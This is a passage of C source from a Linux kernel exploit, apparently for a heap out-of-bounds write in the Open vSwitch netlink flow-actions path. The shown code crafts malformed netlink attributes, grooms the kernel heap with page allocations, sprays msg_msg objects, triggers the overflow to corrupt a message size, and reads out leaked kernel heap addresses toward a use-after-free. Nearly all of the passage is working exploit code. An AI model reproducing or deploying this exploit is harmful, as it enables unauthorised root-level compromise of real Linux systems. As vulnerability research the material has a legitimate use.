ptr->nla_type = OVS_ACTION_ATTR_USERSPACE;
// sub attr1
struct nlattr *sub_ptr = NLA_DATA(ptr);
sub_ptr->nla_len = 8;
sub_ptr->nla_type = OVS_USERSPACE_ATTR_PID;
char *sub_buff = NLA_DATA(sub_ptr);
memset(sub_buff, 'A', 4);
char *padding_ptr = ((char *)sub_ptr) + NLA_ALIGN(sub_ptr->nla_len);
memset(padding_ptr, 'x', padding_size - (padding_ptr - (char *)ptr));
memcpy((char *)action_nla + i * ori_size + padding_size, vuln_data, vuln_size);
}
struct ovs_attr ovs_attrs[] = {
{OVS_FLOW_ATTR_KEY, key_nla, key_size},
{OVS_FLOW_ATTR_ACTIONS, action_nla, nla_total_size(0xff00)},
};
ovsmsg_send(nl_sockfd, flow_family_id, 0, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION,
0, ovs_attrs, ELEM_CNT(ovs_attrs));
}
int exploit_step1() {
char buff[0x1000];
logd("do heap fengshui to reduce noise ...");
pagealloc_pad(1000, 0x1000);
pagealloc_pad(500, 0x2000);
pagealloc_pad(200, 0x4000);
pagealloc_pad(200, 0x8000);
pagealloc_pad(100, 0x10000);
int fengshui_skfd[fengshui_skfd_cnt];
for (int i = 0; i < fengshui_skfd_cnt; i++) {
fengshui_skfd[i] = pagealloc_pad(1, 0x10000);
}
for (int i = 1; i < fengshui_skfd_cnt; i += 2) {
close(fengshui_skfd[i]);
fengshui_skfd[i] = -1;
}
// spray msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
logd("sparying msg_msg ...");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msg_a->mtype = MTYPE_A;
memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE);
((int *)msg_a->mtext)[0] = MSG_SIG;
((int *)msg_a->mtext)[1] = i;
if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) {
die("msgsnd(): %m");
}
}
logd("free other rx_ring buffer ... ");
for (int i = 0; i < fengshui_skfd_cnt; i++) {
if (fengshui_skfd[i] > 0) {
close(fengshui_skfd[i]);
fengshui_skfd[i] = -1;
}
}
logd("trigger vuln to do heap oob write ...");
uint64_t vuln_buf[] = {
0, // m_list.next
0, // m_list.prev
MTYPE_A, // m_type
MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), // m_ts
};
trigger_vuln(&vuln_buf, sizeof(vuln_buf));
// recv from buffer to see if leak success
logd("search corrupted msg_msg ...");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
ssize_t copy_size = msgrcv(msqid_1[i], msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT);
if (copy_size < 0) {
continue;
}
if (copy_size == MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400)) {
logi("corrupted msg_msg found, id: %d", msqid_1[i]);
list1_corrupted_msqid = msqid_1[i];
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { // 'QQQQQQQQ'
logd("but the next object is not allocated by msg_msgseg");
}
break;
}
}
if (list1_corrupted_msqid < 0) {
loge("can't found corrupted msg_msg, and kernel may crash :(");
clean_msq_1();
return 1;
}
// clean uncorrupted msg_msg
logd("clean unused msg_msg ...");
clean_msq_1();
// realloc 0x400 slab with msg_msg
logd("alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...");
for (int i = 0; i < NUM_MSQIDS_2; i++) {
memset(msg_b->mtext, 'W', MSG_B_TEXT_SIZE);
((int *)msg_b->mtext)[0] = MSG_SIG;
((int *)msg_b->mtext)[1] = i;
for (int j = 0; j < 0x10; j++) {
msg_b->mtype = MTYPE_B | (j << 8);
if (msgsnd(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) {
die("msgsnd() fail");
}
}
}
// hope leak happen
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400))) {
die("recv from corrupted msg_msg failed");
}
uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
struct msg_msg *p = (struct msg_msg *)oob_data;
if (((int *)&p->mtext)[0] != MSG_SIG) {
loge("bad luck, we don't catch 0x400 msg_msg");
clean_msq_2();
return 1;
}
logd("it works :)");
list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]];
list2_leak_mtype = p->m_type;
list2_leak_security = p->security;
if (list2_leak_mtype > 0x100) {
list2_uaf_msg_addr = p->m_list.prev;
list2_uaf_mtype = p->m_type - 0x0100;
} else {
list2_uaf_msg_addr = p->m_list.next;
list2_uaf_mtype = p->m_type + 0x0100;
}
msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
logi("leak list2_leak_msqid: %d", list2_leak_msqid);
logi("leak list2_leak_mtype: 0x%x", list2_leak_mtype);
logi("leak list2_uaf_msg_addr: 0x%lx", list2_uaf_msg_addr);
logi("leak list2_uaf_mtype: 0x%x", list2_uaf_mtype);
}
// clean uncorrupted msg_msg
logd("clean unused msg_msg ...");